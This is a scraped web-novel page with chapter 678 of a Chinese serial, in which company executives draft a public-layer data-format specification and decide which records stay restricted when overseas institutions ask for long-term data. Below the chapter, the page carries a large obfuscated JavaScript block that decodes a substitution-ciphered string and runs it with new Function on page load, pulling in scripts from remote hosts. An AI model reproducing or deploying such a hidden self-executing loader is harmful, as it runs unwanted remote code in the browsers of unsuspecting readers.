首页
第678章 第一份长期数据格
返回
关灯 护眼:关 字号:小

第678章 第一份长期数据格式

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第678章第一份长期数据格式(第1/2页)
    第七小时运行记录公开后的第二天,启棠总部十七层会议室比往常早了半个小时亮灯
    何明远走进会议室,陈启坐在长桌尽头,面前放着一叠刚打印出来的邮件,邮件没有按照机构名称排列,而是被分成了三类
    长期数据格式申请,独立复核申请,持续运行规范讨论邀请
    三类邮件的措辞不完全相同,可落在纸面上的内容却有一个共同变化
    他们不再问晨曦是不是亮过一瞬间
    他们开始问,下一份数据应该怎样读取
    何明远将最上面的来函推到陈启面前
    “先报事实,昨天公开七小时记录之后,海外同步观测机构的公开质疑明显减少,今天早上收到五份正式来函,其中三份申请长期数据格式,两份希望参与持续运行数据规范讨论”
    姜可盈坐在旁边,手里拿着记录本
    “昨天还在问数据是不是偶然,今天就开始问时间字段、文件结构和记录周期”
    何明远点开大屏幕,将一封来函放大
    来函里的措辞很客气,没有要求启棠立即交出全部数据,也没有直接要求开放受限资料,希望了解长时段运行记录的格式定义,以便未来进行跨设备复核
    邮件最后还写了一句
    如贵方愿意参与数据规范讨论,本机构愿意提供独立观察意见
    陈启看完,没有立即回应
    他拿起第二封来函,内容来自一个联合研究团队,对方希望得到公开层的数据字段说明,并询问后续运行是否会保持同一套时间标记和文件编号
    第三封来函则更加直接
    希望启棠参与制定一套面向长期运行记录的共享数据规范
    宋雅琴坐在会议桌另一侧,翻开自己的文件夹
    “他们要的不是一份数据”
    “是格式”
    何明远把来函反过来放在桌面上
    “以前我们是被核,现在我们定格式”
    陈启看向他
    “格式由谁定,谁就决定别人以后按什么方式看数据”
    何明远点头
    “这次的变化不在于他们态度变客气,而在于他们把我们当成了格式提供方”
    姜可盈低头记下“格式提供方”几个字,又抬头问道:“那我们要不要把昨天的长时段数据全部整理出去,让他们先看完整结构?”
    “不全部给”
    陈启的回答很快
    “先做公开层格式草案”
    何明远打开电脑,从内部资料库里调出沈明轩连夜发来的字段建议
    数据编号,记录起止时间,设备类别,观测状态,采样方式,文件校验,异常标记,版本变更
    字段并不多,却把一份记录从开始到结束的路径全部标了出来
    沈明轩没有把任何未经公开的设备参数放进去,也没有把专项层里的控制权限和运行模式关联内容列入草案
    何明远把草案打印出来,递给陈启
    “他给了三层字段,具体数据还没有放进来”
    陈启低头看了一遍,拿起红笔在草案左上角写下三个字
    公开层
    随后他用红笔在这三个字外面画了一个框
    “主动开一个可核验接口”
    姜可盈抬头
    “对外开放?”
    “开放公开层”
    陈启把草案推回何明远面前
    “能核验的东西主动给,不能给的东西不动”
    何明远看着框里的“公开层”,没有马上落笔
    “这样做会让他们知道我们愿意参与规则讨论”
    “参与讨论不等于交出主权”
    陈启说道:“给公开层,参与讨论不等于让出主权”
    会议室里安静了一会儿
    这两句话没有被写进对外宣传稿,被姜可盈记进内部处置表,随后由何明远分别分成两条执行原则
    第一,公开层数据格式可参与讨论
    第二,公开层之外的资料不因讨论自动开放
    沈明轩通过远程窗口接入会议
    他没有开摄像头,将一份更新后的格式草案投到屏幕上
    “公开层字段,我按照实际发布过的记录整理,任何一个字段都能在公开材料里找到对应位置”
    何明远问道:“时间字段怎么定义?”
    “记录开始、记录结束、版本生成和公开时间分别列出,不用一个时间替代四个时间”
    “异常字段呢?”
    “记录是否存在异常标记,不直接解释原因,解释要回到对应报告和附件”
    陈启看着草案
    “原始数据呢?”
    “公开层只提供可核验的摘要和校验方式,原始文件继续按权限保留”
    “这样他们能复核吗?”
    “能复核文件是否对应,不能直接读取受限内容”
    沈明轩回答得很平静
    “如果他们要知道原始文件有没有被改过,可以核校验值,如果他们要知道某个专项层动作,就必须另走权限申请”
    何明远点开另一页
    “把独立复核机构的记录方式也写进去”
    沈明轩停了一下
    “对方的复核设备可能不同,字段不能写得太死”
    “那就把必须字段和可选字段分开”
    “可以”
    他在草案底部增加两栏
    必填,选填
    随后又在选填栏旁边注明适用条件由参与方自行说明
    陈启看着那一行字,没有提出修改
    晚上十点,姜可盈开始整理对外口径
    她写下第一版标题
    启棠开放晨曦长期运行数据。
    何明远看了一眼,伸手把标题划掉
    “开放什么?”
    “公开层数据格式和部分可核验内容”
    “那就不要写开放长期运行数据”
    姜可盈重新落笔
    启棠发布长期运行数据公开层格式草案。
    她又问道:“要不要加一句欢迎国际同行参与讨论?”
    “可以写参与讨论”
    “要不要写共同制定?”
    “不要”
    “为什么?”
    “共同制定容易被理解成共同管理”
    陈启看着屏幕
    “我们可以讨论格式,不把数据管理权一起放出去”
    姜可盈点头,将“共同制定”改成“参与讨论”
    何明远补充道:“对外口径还要加一条,格式草案不代表后续所有数据必须按照同一方式公开,实际发布以项目权限和法律边界为准”
    (本章未完,请点击下一页继续阅读)第678章第一份长期数据格式(第2/2页)
    姜可盈把这句话记进底稿
    会议室里没有人谈让步,也没有人把一份格式草案说成国际标准形成
    它是一张可以被核验、被讨论、被修改的表
    真正的规则,要等更多数据和更多时间来证明
    中午十二点,陈启收到一封来自海外同步观测机构的补充邮件
    对方没有继续索取某一次运行数据,而是申请参加长期运行数据格式的小范围讨论,来函里还主动附上了他们对记录周期、版本变更和独立校验的建议
    何明远将这封邮件打印出来,与沈明轩的格式草案并排放在一起
    左边是对方的字段建议,右边是启棠的公开层草案
    两边有相同的地方,也有不同的地方
    对方希望把部分设备状态写成统一等级,启棠的草案则要求保留原始状态描述和适用条件
    对方希望将异常记录合并到结果栏,启棠则把异常单独列出,不允许用结果覆盖过程
    沈明轩看了几眼,拿起笔在对方建议旁边写下“待讨论”
    “他们希望把不同设备放进同一个等级里”
    “这样方便比较”
    “也方便把不一样的东西强行比较”
    他将那一行划掉,又在自己的草案上补充了一句
    不同设备不得因格式统一而取消适用条件。
    何明远看向陈启
    “这句话会不会太硬?”
    “硬一点没关系”
    陈启说道:“格式首先要对得上现实”
    沈明轩把这句话记进草案说明
    数据字段可以统一,数据含义不能被统一抹平。
    下午两点,何明远召集法务和数据团队确认公开层边界
    他没有让基地团队参加,也没有把会议扩大到所有产业部门
    桌上只摆着格式草案、公开材料目录和受限资料清单
    “公开层能放什么?”
    数据编号,记录时间,公开过的设备类别,已发布的状态描述,文件校验方式,版本变更记录。
    “不能放什么?”
    未公开设备参数,专项层控制条件,现场人员权限,尚未发布的运行记录,任何会暴露受限层结构的索引。
    “如果对方在讨论会上要求追加字段?”
    “先判断字段属于哪一层,再决定是否进入草案”
    何明远说道:“讨论的是格式,不是自动授权”
    法务人员点头,将公开层、受限层和专项层分别标成三种颜色
    其中公开层可以参加讨论,受限层只能按具体申请处理,专项层不因参与讨论而开放
    陈启拿过草案,在右下角补上一条
    公开层格式可讨论,数据主权不转移。
    他没有再写第二遍
    这条原则随后进入内部归档,也进入姜可盈的对外口径审查表
    下午四点,沈明轩从基地发来消息
    “格式草案已在诊断席完成字段核对,工程侧可以按这个结构整理公开的长时段记录”
    陈启回了一句
    “先做草案,不做全量开放”
    沈明轩很快回复
    “明白”
    基地那边没有人知道总部正在处理什么样的外部来函
    他们只知道诊断数据的字段需要多加几栏,异常记录要与结果分开,版本变化要保留原始痕迹
    持续运行准备也按原计划推进
    数据归档和工程运行是两条不同的线
    一条在扩大可核验范围,一条在继续积累真实记录
    两条线都不能因为外部的客气措辞而抢跑
    傍晚六点,姜可盈将对外格式草案送到陈启面前
    整份文件只有十几页,首页是适用范围,第二页是字段说明,后面列出公开层数据的校验方式和版本记录规则
    没有一处写着“国际标准”,也没有一处写着“共同管理”
    陈启从头看到尾,最后在发布确认栏签下名字
    “发吧”
    姜可盈点头,随后将文件上传到启棠公开资料页面
    页面上线后,访问量没有首次放电那天一样迅速攀升,最先出现的却是一批专业机构下载记录
    有人下载格式草案,有人下载字段说明,有人只下载校验方式
    评论区里没有再出现“一瞬间不算数”的反复质疑
    取而代之的是一连串更具体的问题
    时间字段是否保留原始版本,异常标记是否允许追溯,跨设备比较如何注明适用条件,独立复核结果是否可以附在同一份公开记录之后。
    姜可盈把问题汇总成表,没有替任何一条问题给出即时回答
    何明远看了一眼屏幕
    “以前我们等别人质疑,再拿材料去核”
    “现在我们主动把能核的接口摆出来”
    陈启看向公开页面
    “先让他们按格式问”
    “如果他们要求受限层呢?”
    “按权限走”
    “如果他们不同意公开层之外不开放?”
    “那是他们的选择”
    何明远点头,把这句话记入会议记录
    当晚八点,西北基地收到公开层格式草案的内部通知
    沈明轩把字段表打印出来,放在诊断席旁边
    李天走过来,看了一眼新增加的适用条件栏
    “公开层也要写这么细?”
    “公开的越细,后面越少解释”
    沈明轩回答:“他们要按这个格式来问,我们就让每个字段都能找到出处”
    李天点头
    “工程记录不能为了格式改样子”
    “不会改原始记录,增加公开层索引”
    “那就行”
    他把字段表夹进数据档案,随后继续查看下一阶段的运行安排
    外界的目光从“有没有”移到了“怎么记录”
    而基地里的工程师盯着下一次记录能不能完整留下
    夜里十点,陈启回到办公室
    桌面上放着三样东西
    海外同步观测机构的来函,启棠发布的长期数据格式草案,以及一份尚未回复的参会邀请
    何明远推门进来,手里多了一份打印文件
    “格式草案发布后,有几家机构确认参加讨论”
    陈启“地点呢?”
    何明远把文件放到桌上,指尖停在邀请函下方的一行小字上
    “对方提出的会议地点,是华盛顿。”
    他说完停住了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o4n6nwm3oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/Oo2K2D^sOY/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"Oo2K2D^sOY"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q/f/}Ko}j(8}vY8Oo2K2D^sOY"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();